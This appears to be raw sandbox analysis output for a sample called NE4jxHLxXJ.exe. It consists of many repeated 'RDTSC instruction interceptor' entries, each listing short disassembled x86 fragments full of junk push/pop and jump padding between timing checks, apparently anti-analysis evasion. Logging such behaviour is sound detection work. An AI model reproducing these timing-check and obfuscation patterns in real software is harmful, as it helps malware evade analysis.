Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	RDTSC instruction interceptor: First address: C80286 second address: C8028C instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	RDTSC instruction interceptor: First address: C8028C second address: C802B6 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F3A80CCDBAEh 0x00000008 push eax 0x00000009 push edx 0x0000000a jno 00007F3A80CCDB96h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	RDTSC instruction interceptor: First address: C802B6 second address: C802BA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	RDTSC instruction interceptor: First address: C8B725 second address: C8B74C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F3A80CCDBA9h 0x00000009 pop edi 0x0000000a pushad 0x0000000b jnp 00007F3A80CCDB96h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	RDTSC instruction interceptor: First address: C8B74C second address: C8B752 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	RDTSC instruction interceptor: First address: C9A726 second address: C9A72A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	RDTSC instruction interceptor: First address: C9A72A second address: C9A73E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007F3A81335206h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c js 00007F3A8133520Eh 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	RDTSC instruction interceptor: First address: C9D687 second address: C9D68D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	RDTSC instruction interceptor: First address: C9D68D second address: C9D693 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	RDTSC instruction interceptor: First address: C9D34F second address: C9D355 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	RDTSC instruction interceptor: First address: C9D355 second address: C9D390 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 jmp 00007F3A8133520Eh 0x0000000b push ebx 0x0000000c pop ebx 0x0000000d jmp 00007F3A81335219h 0x00000012 popad 0x00000013 pushad 0x00000014 pushad 0x00000015 popad 0x00000016 jnp 00007F3A81335206h 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	RDTSC instruction interceptor: First address: CA1F73 second address: CA1F78 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	RDTSC instruction interceptor: First address: CA1F78 second address: CA1F93 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F3A81335213h 0x00000009 push esi 0x0000000a pop esi 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	RDTSC instruction interceptor: First address: CA1F93 second address: CA1FB3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push edx 0x00000006 pushad 0x00000007 popad 0x00000008 pop edx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c jmp 00007F3A80CCDBA0h 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	RDTSC instruction interceptor: First address: CA1FB3 second address: CA1FB7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	RDTSC instruction interceptor: First address: CA1FB7 second address: CA1FD6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edi 0x00000007 jbe 00007F3A80CCDB96h 0x0000000d jmp 00007F3A80CCDB9Dh 0x00000012 pop edi 0x00000013 push eax 0x00000014 push edx 0x00000015 push ebx 0x00000016 pop ebx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	RDTSC instruction interceptor: First address: CA1FD6 second address: CA1FDA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	RDTSC instruction interceptor: First address: CA8864 second address: CA8877 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 jmp 00007F3A80CCDB9Dh 0x0000000b rdtsc
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	RDTSC instruction interceptor: First address: CA8877 second address: CA88AF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F3A81335215h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop edx 0x0000000c pop eax 0x0000000d pushad 0x0000000e jnl 00007F3A8133520Ch 0x00000014 jnp 00007F3A81335212h 0x0000001a js 00007F3A81335206h 0x00000020 push eax 0x00000021 push edx 0x00000022 rdtsc
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	RDTSC instruction interceptor: First address: CAB4C1 second address: CAB4C6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	RDTSC instruction interceptor: First address: CB4630 second address: CB4636 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	RDTSC instruction interceptor: First address: CB4636 second address: CB463B instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	RDTSC instruction interceptor: First address: CB5028 second address: CB5033 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007F3A81335206h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	RDTSC instruction interceptor: First address: CB5AC5 second address: CB5AC9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	RDTSC instruction interceptor: First address: CB5AC9 second address: CB5AD8 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push edi 0x0000000a pop edi 0x0000000b push eax 0x0000000c pop eax 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	RDTSC instruction interceptor: First address: CB8B3C second address: CB8B40 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	RDTSC instruction interceptor: First address: CB86BD second address: CB86C3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	RDTSC instruction interceptor: First address: CC1788 second address: CC1798 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jc 00007F3A80CCDB96h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	RDTSC instruction interceptor: First address: CC1798 second address: CC179C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	RDTSC instruction interceptor: First address: CC179C second address: CC17CB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 ja 00007F3A80CCDB9Eh 0x0000000c popad 0x0000000d push edi 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F3A80CCDBA5h 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	RDTSC instruction interceptor: First address: CC17CB second address: CC17CF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	RDTSC instruction interceptor: First address: CC17CF second address: CC17D3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	RDTSC instruction interceptor: First address: CC8674 second address: CC86A5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 jmp 00007F3A81335216h 0x0000000a js 00007F3A8133521Ah 0x00000010 jmp 00007F3A8133520Eh 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	RDTSC instruction interceptor: First address: CC86A5 second address: CC86B0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push ebx 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a pop ebx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	RDTSC instruction interceptor: First address: CC86B0 second address: CC86B8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	RDTSC instruction interceptor: First address: CC606D second address: CC6085 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F3A80CCDB96h 0x00000008 js 00007F3A80CCDB96h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 jng 00007F3A80CCDB9Ch 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	RDTSC instruction interceptor: First address: CD6955 second address: CD6959 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	RDTSC instruction interceptor: First address: CD6959 second address: CD695E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	RDTSC instruction interceptor: First address: CDAAD5 second address: CDAB0F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 push esi 0x00000006 pop esi 0x00000007 popad 0x00000008 jnl 00007F3A81335212h 0x0000000e pushad 0x0000000f popad 0x00000010 jmp 00007F3A8133520Ah 0x00000015 pop edx 0x00000016 pop eax 0x00000017 push ebx 0x00000018 push eax 0x00000019 push edx 0x0000001a jmp 00007F3A81335219h 0x0000001f pushad 0x00000020 popad 0x00000021 rdtsc
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	RDTSC instruction interceptor: First address: CDA622 second address: CDA627 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	RDTSC instruction interceptor: First address: CDA627 second address: CDA62D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	RDTSC instruction interceptor: First address: CEF28A second address: CEF2A0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop edi 0x00000006 push esi 0x00000007 pushad 0x00000008 pushad 0x00000009 popad 0x0000000a pushad 0x0000000b popad 0x0000000c jng 00007F3A80CCDB96h 0x00000012 popad 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	RDTSC instruction interceptor: First address: CEE43A second address: CEE43E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	RDTSC instruction interceptor: First address: CEE43E second address: CEE477 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3A80CCDBA6h 0x00000007 jnl 00007F3A80CCDB96h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pushad 0x00000010 pushad 0x00000011 popad 0x00000012 jl 00007F3A80CCDB96h 0x00000018 pushad 0x00000019 popad 0x0000001a popad 0x0000001b popad 0x0000001c push ecx 0x0000001d pushad 0x0000001e jc 00007F3A80CCDB96h 0x00000024 pushad 0x00000025 popad 0x00000026 push eax 0x00000027 push edx 0x00000028 rdtsc
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	RDTSC instruction interceptor: First address: CEE477 second address: CEE49F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F3A81335210h 0x0000000e jmp 00007F3A8133520Fh 0x00000013 rdtsc
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	RDTSC instruction interceptor: First address: CEE49F second address: CEE4A3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	RDTSC instruction interceptor: First address: CEE5DD second address: CEE5E1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	RDTSC instruction interceptor: First address: CEE5E1 second address: CEE5F5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jc 00007F3A80CCDB9Eh 0x0000000c push edx 0x0000000d pop edx 0x0000000e ja 00007F3A80CCDB96h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	RDTSC instruction interceptor: First address: CEE5F5 second address: CEE5FB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	RDTSC instruction interceptor: First address: CEE5FB second address: CEE601 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	RDTSC instruction interceptor: First address: CEE601 second address: CEE605 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	RDTSC instruction interceptor: First address: CEE75E second address: CEE762 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	RDTSC instruction interceptor: First address: CEE762 second address: CEE76C instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push edi 0x00000009 pop edi 0x0000000a rdtsc
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	RDTSC instruction interceptor: First address: CEE76C second address: CEE772 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	RDTSC instruction interceptor: First address: CEE772 second address: CEE781 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jne 00007F3A81335206h 0x0000000b popad 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	RDTSC instruction interceptor: First address: CEEA11 second address: CEEA21 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007F3A80CCDB96h 0x0000000a pop edx 0x0000000b pushad 0x0000000c push ecx 0x0000000d pop ecx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	RDTSC instruction interceptor: First address: CEEA21 second address: CEEA28 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	RDTSC instruction interceptor: First address: CEEA28 second address: CEEA2F instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push esi 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	RDTSC instruction interceptor: First address: CEEBCB second address: CEEBEF instructions: 0x00000000 rdtsc 0x00000002 jl 00007F3A81335206h 0x00000008 jp 00007F3A81335206h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 pushad 0x00000011 push eax 0x00000012 pop eax 0x00000013 jmp 00007F3A81335210h 0x00000018 popad 0x00000019 rdtsc
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	RDTSC instruction interceptor: First address: CEEBEF second address: CEEBF6 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	RDTSC instruction interceptor: First address: CEEBF6 second address: CEEBFF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	RDTSC instruction interceptor: First address: CEEBFF second address: CEEC09 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007F3A80CCDB96h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	RDTSC instruction interceptor: First address: CEEC09 second address: CEEC0D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	RDTSC instruction interceptor: First address: CEEC0D second address: CEEC31 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F3A80CCDBA2h 0x0000000f push eax 0x00000010 push edx 0x00000011 jnc 00007F3A80CCDB96h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	RDTSC instruction interceptor: First address: CEEC31 second address: CEEC35 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	RDTSC instruction interceptor: First address: CEEC35 second address: CEEC3B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	RDTSC instruction interceptor: First address: CEED7A second address: CEED9A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F3A81335215h 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c push ecx 0x0000000d pop ecx 0x0000000e push edx 0x0000000f pop edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	RDTSC instruction interceptor: First address: CEEFF1 second address: CEF008 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F3A80CCDB9Fh 0x00000009 pop edx 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	RDTSC instruction interceptor: First address: CEF008 second address: CEF00E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	RDTSC instruction interceptor: First address: CF1F10 second address: CF1F14 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	RDTSC instruction interceptor: First address: CF481A second address: CF481F instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	RDTSC instruction interceptor: First address: CF4D8C second address: CF4D92 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	RDTSC instruction interceptor: First address: CF4D92 second address: CF4D97 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	RDTSC instruction interceptor: First address: CF4D97 second address: CF4E06 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pushad 0x00000004 popad 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 nop 0x00000009 push 00000000h 0x0000000b push eax 0x0000000c call 00007F3A80CCDB98h 0x00000011 pop eax 0x00000012 mov dword ptr [esp+04h], eax 0x00000016 add dword ptr [esp+04h], 0000001Dh 0x0000001e inc eax 0x0000001f push eax 0x00000020 ret 0x00000021 pop eax 0x00000022 ret 0x00000023 mov edx, dword ptr [ebp+122D3915h] 0x00000029 mov edx, dword ptr [ebp+122D27EAh] 0x0000002f push dword ptr [ebp+122D34ACh] 0x00000035 push 00000000h 0x00000037 push edx 0x00000038 call 00007F3A80CCDB98h 0x0000003d pop edx 0x0000003e mov dword ptr [esp+04h], edx 0x00000042 add dword ptr [esp+04h], 00000019h 0x0000004a inc edx 0x0000004b push edx 0x0000004c ret 0x0000004d pop edx 0x0000004e ret 0x0000004f call 00007F3A80CCDB99h 0x00000054 push eax 0x00000055 push edx 0x00000056 pushad 0x00000057 push eax 0x00000058 push edx 0x00000059 rdtsc
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	RDTSC instruction interceptor: First address: CF4E06 second address: CF4E24 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F3A81335219h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	RDTSC instruction interceptor: First address: CF4E24 second address: CF4E29 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	RDTSC instruction interceptor: First address: CF4E29 second address: CF4E68 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F3A8133520Bh 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d pushad 0x0000000e jmp 00007F3A81335210h 0x00000013 jl 00007F3A81335211h 0x00000019 jmp 00007F3A8133520Bh 0x0000001e popad 0x0000001f mov eax, dword ptr [esp+04h] 0x00000023 push esi 0x00000024 push eax 0x00000025 push edx 0x00000026 pushad 0x00000027 popad 0x00000028 rdtsc
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	RDTSC instruction interceptor: First address: CF4E68 second address: CF4E87 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F3A80CCDB96h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop esi 0x0000000b mov eax, dword ptr [eax] 0x0000000d push eax 0x0000000e pushad 0x0000000f push ebx 0x00000010 pop ebx 0x00000011 pushad 0x00000012 popad 0x00000013 popad 0x00000014 pop eax 0x00000015 mov dword ptr [esp+04h], eax 0x00000019 push eax 0x0000001a push edx 0x0000001b push ecx 0x0000001c pushad 0x0000001d popad 0x0000001e pop ecx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	RDTSC instruction interceptor: First address: 4A50324 second address: 4A5039F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F3A8133520Fh 0x00000009 add ax, 8D4Eh 0x0000000e jmp 00007F3A81335219h 0x00000013 popfd 0x00000014 pushad 0x00000015 popad 0x00000016 popad 0x00000017 pop edx 0x00000018 pop eax 0x00000019 xchg eax, ebp 0x0000001a pushad 0x0000001b jmp 00007F3A8133520Ah 0x00000020 push eax 0x00000021 mov ch, bl 0x00000023 pop esi 0x00000024 popad 0x00000025 push eax 0x00000026 jmp 00007F3A81335218h 0x0000002b xchg eax, ebp 0x0000002c push eax 0x0000002d push edx 0x0000002e jmp 00007F3A81335217h 0x00000033 rdtsc
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	RDTSC instruction interceptor: First address: 4A708C3 second address: 4A708DE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3A80CCDBA7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	RDTSC instruction interceptor: First address: 4A708DE second address: 4A708E4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	RDTSC instruction interceptor: First address: 4A708E4 second address: 4A708F5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ecx 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c pushad 0x0000000d popad 0x0000000e pushad 0x0000000f popad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	RDTSC instruction interceptor: First address: 4A708F5 second address: 4A70961 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F3A81335210h 0x00000009 adc cl, 00000028h 0x0000000c jmp 00007F3A8133520Bh 0x00000011 popfd 0x00000012 popad 0x00000013 pop edx 0x00000014 pop eax 0x00000015 mov dword ptr [esp], ecx 0x00000018 jmp 00007F3A81335215h 0x0000001d xchg eax, esi 0x0000001e jmp 00007F3A8133520Eh 0x00000023 push eax 0x00000024 pushad 0x00000025 movsx ebx, si 0x00000028 jmp 00007F3A8133520Ah 0x0000002d popad 0x0000002e xchg eax, esi 0x0000002f push eax 0x00000030 push edx 0x00000031 push eax 0x00000032 push edx 0x00000033 jmp 00007F3A8133520Ah 0x00000038 rdtsc
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	RDTSC instruction interceptor: First address: 4A70961 second address: 4A70967 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	RDTSC instruction interceptor: First address: 4A70967 second address: 4A7096D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	RDTSC instruction interceptor: First address: 4A7096D second address: 4A70971 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
